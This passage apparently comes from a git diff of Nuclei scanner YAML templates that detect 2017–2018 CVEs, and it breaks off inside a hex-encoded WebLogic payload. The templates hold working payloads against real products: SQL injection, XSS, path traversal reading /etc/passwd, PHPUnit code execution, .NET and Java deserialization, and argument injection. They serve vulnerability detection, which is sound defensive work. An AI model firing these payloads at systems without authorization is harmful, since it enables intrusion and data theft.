+          - "\\[(font|extension|file)s\\]"
+        conditon: or
+        part: body
@@ -39,6 +39,6 @@ requests:

    matchers:
      - type: word
-        part: interactsh_protocol # Confirms the DNS Interaction
+        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "dns"
+          - "http"
@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body
@@ -0,0 +1,30 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress Core < 4.7.1 - Username Enumeration
+  author: Manas_Harsh,daffainfo
+  severity: medium
+  description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
+  tags: cve,cve2017,wordpress
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+      - https://www.exploit-db.com/exploits/41497
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"id":'
+          - '"name":'
+          - '"avatar_urls":'
+        condition: and
@@ -1,6 +1,6 @@
 id: CVE-2017-5638
 info:
-  author: Random Robbie
+  author: Random_Robbie
  name: Apache Struts2 RCE
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
@@ -1,25 +1,31 @@
 id: CVE-2017-7269

 info:
-  name: CVE-2017-7269
-  author: thomas_from_offensity
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity,geeknik
  severity: critical
-  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
-  reference: https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce

 requests:
  - method: OPTIONS
    path:
      - "{{BaseURL}}"
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+
      - type: word
        words:
          - "IIS/6.0"
        part: header
+
      - type: dsl
        dsl:
          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
@@ -27,4 +33,4 @@ requests:
          - regex(".*?PROPFIND", public)    # lowercase header name: Public
          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
        condition: or
-        part: header
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2017-7615

 info:
  name: CVE-2017-7615
-  author: bp0lr & dwisiswant0
+  author: bp0lr,dwisiswant0
  severity: high
  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
  tags: cve,cve2017,mantisbt
@@ -0,0 +1,26 @@
+id: CVE-2017-9140
+
+info:
+  name: Reflected XSS - Telerik Reporting Module
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2017,xss,telerik
+  description: Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '#000000"onload="prompt(1)'
+          - 'Telerik.ReportViewer.axd?name=Resources'
+        condition: and
@@ -9,12 +9,12 @@ info:
    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
    - https://ecosystem.atlassian.net/browse/OAUTH-344
    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
-  tags: cve,cve2017,atlassian,jira,ssrf
+  tags: cve,cve2017,atlassian,jira,ssrf,oob

 requests:
  - raw:
      - |
-        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
@@ -26,4 +26,4 @@ requests:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "http"
+          - "http"
@@ -0,0 +1,35 @@
+id: CVE-2017-9822
+
+info:
+  name: DotNetNuke Cookie Deserialization Remote Code Execution (RCE)
+  author: milo2012
+  severity: high
+  description: DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected to deserialization vulnerability that leads to Remote Code Execution (RCE)
+  tags: cve,cve2017,dotnetnuke,bypass
+  reference: https://github.com/murataydemir/CVE-2017-9822
+
+requests:
+  - raw:
+      - |
+        GET /__ HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
+        Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        X-Requested-With: XMLHttpRequest
+        Connection: close
+        Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '[extensions]'
+          - 'for 16-bit app support'
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 404
@@ -2,34 +2,102 @@ id: CVE-2017-9841

 info:
  name: CVE-2017-9841
-  author: Random-Robbie
+  author: Random_Robbie,pikpikcu
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  tags: cve,cve2017,php,phpunit,rce
  reference: |
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
+    - https://thephp.cc/articles/phpunit-a-security-risk
+    - https://twitter.com/sec715/status/1411517028012158976

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
-      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+
+  - raw:
+      - |
+        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+
+        <?php echo md5(phpunit_rce);?>
+
+      - |
+        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+        Connection: close
+        Content-Length: 17
+        Accept: */*
+        Accept-Language: en
+        Content-Type: text/html
+        Accept-Encoding: gzip, deflate
+
+        <?php echo md5(phpunit_rce);?>
+
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "this version of phpunit requires php 5"
+          - "6dd70f16549456495373a337e6708865"
        part: body

      - type: status
@@ -1,62 +0,0 @@
-id: CVE-2018-0101
-
-info:
-  name: Cisco ASA Denial-of-Service # Leads to RCE
-  author: dwisiswant0
-  severity: critical
-  reference: https://www.exploit-db.com/exploits/43986
-  description: |
-    A vulnerability in the XML parser of Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated,
-    remote attacker to cause a reload of the affected system or to remotely execute code. It was also possible that
-    the ASA could stop processing incoming Virtual Private Network (VPN) authentication requests due to a low memory condition.
-  tags: cve,cve2018,cisco,dos,rce
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-        Content-Type: application/x-www-form-urlencoded
-        X-Aggregate-Auth: 1
-        X-Transcend-Version: 1
-        Accept-Encoding: identity
-        X-AnyConnect-Platform: linux-64
-        X-Support-HTTP-Auth: false
-        X-Pad: 0000000000000000000000000000000000000000
-
-        <?xml version="1.0" encoding="UTF-8"?>
-        <config-auth client="a" type="a" aggregate-auth-version="a">
-            <host-scan-reply>A</host-scan-reply>
-        </config-auth>
-
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - "status_code_1 == 200"
-
-      - type: dsl
-        dsl:
-          - "status_code_2 == 500"
-          - "status_code_2 == 501"
-          - "status_code_2 == 502"
-          - "status_code_2 == 503"
-          - "status_code_2 == 504"
-        condition: or
-
-      - type: dsl
-        dsl:
-          - "status_code_3 == 200"
-        negative: true
@@ -11,12 +11,16 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "///sessions"
        part: body
+
      - type: status
        status:
          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd @0h1in9e
+  author: mavericknerd,0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
  tags: cve,cve2018,jolokia,xss
@@ -0,0 +1,40 @@
+id: CVE-2018-1000130
+
+info:
+  name: Jolokia Agent Proxy JNDI Code Injection
+  author: milo2012
+  severity: high
+  description: A JNDI Injection vulnerability exists in Jolokia agent in the proxy mode that allows a remote attacker to run arbitrary Java code on the server.
+  tags: cve,cve2018,jolokia,rce
+
+requests:
+  - raw:
+      - |
+        POST /jolokia/read/getDiagnosticOptions HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
+        Accept-Language: en-GB,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 167
+
+        {
+            "type" : "read",
+            "mbean" : "java.lang:type=Memory",
+            "target" : {
+                 "url" : "service:jmx:rmi:///jndi/ldap://127.0.0.1:1389/o=tomcat"
+            }
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,39 @@
+id: CVE-2018-1000533
+
+info:
+  name: GitList < 0.6.0 RCE
+  author: pikpikcu
+  severity: critical
+  description: klaussilveira GitList version <= 0.6 contains a Passing incorrectly sanitized input to system function vulnerability in `searchTree` function that can result in Execute any code as PHP user.
+  reference: https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
+  tags: rce,git,cve,cve2018,gitlist
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /{{path}}/tree/a/search HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 45
+        Content-Type: application/x-www-form-urlencoded
+
+        query=--open-files-in-pager=cat%20/etc/passwd
+
+    extractors:
+      - type: regex
+        name: path
+        group: 1
+        internal: true
+        part: body
+        regex:
+          - '<span class="name">(.*?)</span>'
+
+    matchers:
+      - type: word
+        words:
+          - "root:/root:/bin/bash"
+        part: body
@@ -2,7 +2,7 @@ id: CVE-2018-1000861

 info:
  name: Jenkins 2.138 Remote Command Execution
-  author: dhiyaneshDK & @pikpikcu
+  author: dhiyaneshDK,pikpikcu
  severity: critical
  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
  tags: cve,cve2018,jenkin,rce
@@ -2,7 +2,7 @@ id: CVE-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
  tags: cve,cve2018,splunk
@@ -2,7 +2,7 @@ id: CVE-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  reference: https://github.com/immunIT/CVE-2018-11759
  tags: cve,cve2018,apache
@@ -17,7 +17,12 @@ requests:
        words:
          - "application/x-shockwave-flash"
        part: header
+
      - type: word
        words:
          - "javascript:alert(1337)"
        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: circarlife-system-log
+id: CVE-2018-12634

 info:
  name: Exposed CirCarLife System Log
@@ -6,7 +6,7 @@ info:
  description: CirCarLife is an internet-connected electric vehicle charging station
  reference: https://circontrol.com/
  severity: medium
-  tags: scada,circontrol,circarlife,log
+  tags: cve,cve2018,scada,circontrol,circarlife,logs

 requests:
  - method: GET
@@ -13,6 +13,7 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E"
+      - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E"

    matchers-condition: and
    matchers:
@@ -0,0 +1,24 @@
+id: CVE-2018-16299
+
+info:
+  name: WordPress Plugin Localize My Post 1.0 - LFI
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/45439
+  tags: wordpress,cve2018,cve,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: CVE-2018-16668
+
+info:
+  name: CirCarLife SCADA Installation Paths
+  description: System software installation path disclosure due to lack of authentication
+  reference:
+    - https://www.exploit-db.com/exploits/45384
+  author: geeknik
+  severity: medium
+  tags: cve,cve2018,circarlife,scada,iot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/repository"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        part: body
+        words:
+          - "** Platform sources **"
+          - "** Application sources **"
+        condition: and
@@ -0,0 +1,28 @@
+id: CVE-2018-16670
+
+info:
+  name: CirCarLife SCADA PLC Status
+  description: PLC status disclosure due to lack of authentication
+  reference:
+    - https://www.exploit-db.com/exploits/45384
+  author: geeknik
+  severity: medium
+  tags: cve,cve2018,circarlife,scada,plc,iot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/services/user/values.xml?var=STATUS"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        part: body
+        words:
+          - "<values><variable><id>"
+          - "Reader.STATUS"
+        condition: and
@@ -0,0 +1,30 @@
+id: CVE-2018-16671
+
+info:
+  name: CirCarLife SCADA Device ID
+  description: System software information disclosure due to lack of authentication
+  reference:
+    - https://www.exploit-db.com/exploits/45384
+  author: geeknik
+  severity: medium
+  tags: cve,cve2018,circarlife,scada,iot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/device-id"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        part: body
+        words:
+          - "circontrol"
+      - type: regex
+        part: body
+        regex:
+          - "(19|20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])"
@@ -0,0 +1,23 @@
+id: rubedo-cms-directory-traversal
+
+info:
+  name: Rubedo CMS 3.4.0 - Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/45385
+  tags: rubedo,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,22 @@
+id: CVE-2018-17254
+
+info:
+  name: Joomla JCK Editor SQL Injection
+  author: Suman_Kar
+  description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.
+  severity: high
+  tags: joomla,sqli,cve,cve2018
+
+requests:
+  - raw:
+      - |
+        GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),0x6e75636c65692d74656d706c617465),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Referer: {{BaseURL}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "nuclei-template"
@@ -11,9 +11,10 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"
-    body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN\"><html xmlns=\"hacked'
+    body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>'
+    redirects: true

    matchers:
      - type: dsl
        dsl:
-          - 'status_code==302 && contains(set_cookie, "_icl_current_admin_language")'
+          - 'contains(tolower(all_headers), "text/html") && contains(set_cookie, "_icl_current_admin_language") && contains(body, "\"><script>alert(0);</script>")'
@@ -0,0 +1,29 @@
+id: CVE-2018-18775
+
+info:
+  name: Cross Site Scripting in Microstrategy Web version 7
+  author: 0x_Akoko
+  description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter
+  severity: medium
+  tags: microstrategy,xss
+  reference: https://www.exploit-db.com/exploits/45755
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"><script>alert(/{{randstr}}/);</script>'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,24 @@
+id: CVE-2018-18777
+
+info:
+  name: Path traversal vulnerability in Microstrategy Web version 7
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/45755
+  tags: microstrategy,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: high
  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
  tags: cve,cve2018,oracle,xss
@@ -2,7 +2,7 @@ id: CVE-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
  tags: cve,cve2018,atlassian,jira,xss
@@ -0,0 +1,24 @@
+id: CVE-2018-2628
+
+info:
+  name: Oracle WebLogic Server Deserialization RCE
+  author: milo2012
+  severity: high
+  reference: https://www.nc-lp.com/blog/weaponize-oracle-weblogic-server-poc-cve-2018-2628
+  tags: cve,cve2018,oracle,weblogic,network
+
+network:
+  - inputs:
+      - data: "{{hex_decode('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}"
+        read: 1024
+      - data: "{{hex_decode('000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461863d1d0000000078')}}"
+        read: 1024
+      - data: "{{hex_decode('000003ad056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7